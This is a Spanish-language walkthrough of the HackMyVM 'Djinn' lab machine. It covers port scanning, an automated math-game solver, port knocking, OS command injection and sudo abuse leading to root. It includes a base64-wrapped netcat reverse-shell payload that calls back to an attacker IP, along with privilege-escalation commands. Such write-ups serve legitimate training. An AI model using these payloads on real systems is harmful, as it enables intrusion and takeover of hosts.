cd ~/blog

~/writeups/hmv/060-djinn.md

060 - Djinn

easy Linux hmvautor: Jordy Pérez Osorio aviso legal
Port KnockingOS Command InjectionCredential ExposureSudo-Allowed Program AbusePrivileged Program Logic Abuse
hackmyvm.eu/machines/machine.php?vm=Djinn

~2 min de lectura


Enumeración de servicios

Comenzamos con la enumeración de puertos:

❯ sudo nmap -p- -sS --min-rate 5000 -n -Pn -oG 01-allPorts 192.168.1.28
❯ nmap -sCV -p21,22,1337,7331 -oN 02-targeted.txt 192.168.1.28
Starting Nmap 7.94 ( https://nmap.org ) at 2024-04-02 20:26 -03
Nmap scan report for 192.168.1.28
Host is up (0.00032s latency).

PORT     STATE  SERVICE VERSION
21/tcp   open   ftp     vsftpd 3.0.3
| ftp-anon: Anonymous FTP login allowed (FTP code 230)
| -rw-r--r--    1 0        0              11 Oct 20  2019 creds.txt
| -rw-r--r--    1 0        0             128 Oct 21  2019 game.txt
|_-rw-r--r--    1 0        0             113 Oct 21  2019 message.txt
22/tcp   closed ssh
1337/tcp open   waste?
7331/tcp open   http    Werkzeug httpd 0.16.0 (Python 2.7.15+)
|_http-server-header: Werkzeug/0.16.0 Python/2.7.15+
|_http-title: Lost in space
Service Info: OS: Unix

El puerto 1337 expone un "juego" de operaciones matemáticas (el fingerprint completo de nmap muestra el banner ASCII); el 7331 es una app Flask/Werkzeug.

Enumeramos la app web y el FTP:

❯ gobuster dir -u 'http://192.168.1.28:7331/' -w ~/Documentos/wordlists/SecLists/Discovery/Web-Content/directory-list-2.3-medium.txt -x php,txt,html,jpg,jpeg,gif,png -r
...
/wish                 (Status: 200) [Size: 385]
/genie                (Status: 200) [Size: 1676]
...

❯ cat creds.txt
nitu:81299
❯ cat message.txt
@nitish81299 I am going on holidays for few days, please take care of all the work.
And don't mess up anything.

Resolución del servicio matemático

En /wish hay un campo para ejecutar comandos (limitado). El servicio del puerto 1337 nos pide responder 1000 operaciones matemáticas, así que lo automatizamos con un script en Python usando pwntools:

❯ nc 192.168.1.28 1337
  ____                        _____ _
 / ___| __ _ _ __ ___   ___  |_   _(_)_ __ ___   ___
| |  _ / _` | '_ ` _ \ / _ \   | | | | '_ ` _ \ / _ \
| |_| | (_| | | | | | |  __/   | | | | | | | | |  __/
 \____|\__,_|_| |_| |_|\___|   |_| |_|_| |_| |_|\___|


Let's see how good you are with simple maths
Answer my questions 1000 times and I'll give you your gift.
(6, '-', 6)
>
❯ cat answer.py
import pwn
server = '192.168.1.28'
port = '1337'

c = pwn.remote(server,port)
c.recvuntil('gift.\n')

for i in range(1001):
  data = c.recvuntil(b")").decode()
  c.recv()

  num1, num2, todo = int(data[1]), int(data[9]), data[5]

  if todo == "+":
   answer= num1 + num2
  elif todo == '-':
   answer= num1 - num2
  elif todo == '*':
   answer= num1 * num2
  elif todo == '/':
   answer= num1 / num2
  c.send((str(answer) + "\n\r").encode())
  print(answer, i)

print(c.recv().decode())

Acceso inicial mediante la aplicación de deseos

La recompensa son tres puertos:

Here is your gift, I hope you know what to do with it:
1356, 6784, 3409

Hacemos port knocking en esa secuencia y comprobamos que el puerto 22 se abre:

❯ nmap -p22,1356,6784,3409 192.168.1.28
Starting Nmap 7.94 ( https://nmap.org ) at 2024-04-02 21:42 -03
Nmap scan report for 192.168.1.28
Host is up (0.00013s latency).

PORT     STATE  SERVICE
22/tcp   open   ssh
1356/tcp closed cuillamartin
3409/tcp closed networklens
6784/tcp closed bfd-lag

Nmap done: 1 IP address (1 host up) scanned in 0.13 seconds

Volvemos a /wish, que entrega la entrada a un intérprete de órdenes y permite una OS Command Injection. Base64 sólo cambia la representación del payload: la aplicación acepta la cadena codificada, pero base64 -d reconstruye la orden y la tubería hacia sh la ejecuta. Así sorteamos el filtro sin convertir Base64 en un mecanismo de seguridad:

❯ echo "rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|bash -i 2>&1|nc 192.168.1.10 1234 >/tmp/f" | base64
cm0gL3RtcC9mO21rZmlmbyAvdG1wL2Y7Y2F0IC90bXAvZnxiYXNoIC1pIDI+JjF8bmMgMTkyLjE2
OC4xLjEwIDEyMzQgPi90bXAvZgo=

echo `echo "cm0gL3RtcC9mO21rZmlmbyAvdG1wL2Y7Y2F0IC90bXAvZnxiYXNoIC1pIDIJjF8bmMgMTkyLjE2OC4xLjEwIDEyMzQgPi90bXAvZgo=" | base64 -d ` | sh

Movimiento lateral a nitish y sam

Ya como www-data, en /home/nitish/.dev encontramos las credenciales de nitish:

www-data@djinn:/home/nitish/.dev$ cat creds.txt
nitish:p4ssw0rdStr3r0n9

Accedemos por SSH y obtenemos la primera flag. Para movernos a sam, revisamos sudo -l:

nitish@djinn:~$ sudo -l
...
User nitish may run the following commands on djinn:
    (sam) NOPASSWD: /usr/bin/genie

La regla de sudo permite iniciar genie como sam. El análisis de cadenas revela el parámetro oculto -cmd, no listado en la ayuda, y el valor 1234 activa una shell. Es un Sudo-Allowed Program Abuse porque una función del binario autorizado produce un proceso interactivo con la identidad seleccionada por sudo:

nitish@djinn:~$ strings /usr/bin/genie |egrep "^-"
-"M
-v%
--shell
--exec
--god
-cmd

nitish@djinn:~$ sudo -u sam /usr/bin/genie -cmd 1234
my man!!
$ whoami
sam

Escalada de privilegios

Obtenemos una shell como sam y revisamos sus permisos:

sam@djinn:/home/sam$ sudo -l
...
User sam may run the following commands on djinn:
    (root) NOPASSWD: /root/lago

lago ofrece un menú con el puzzle «Guess the number». Las notas conservan que la ejecución repetida de la opción 2 terminó entregando una shell de root, pero no incluyen el código del programa ni una traza que demuestre una condición de carrera. Por ello, lo documentamos como Privileged Program Logic Abuse y no atribuimos un mecanismo más específico sin evidencia:

sam@djinn:/home/sam$ while true;do sudo /root/lago; done
...
Enter your choice:2
Choose a number between 1 to 100:
Enter your number: 2

root

Obtenemos acceso root y nuestra flag.

Fin.

Machine rooted ✓

user & root flags capturados — redactados en el sitio público

// relacionados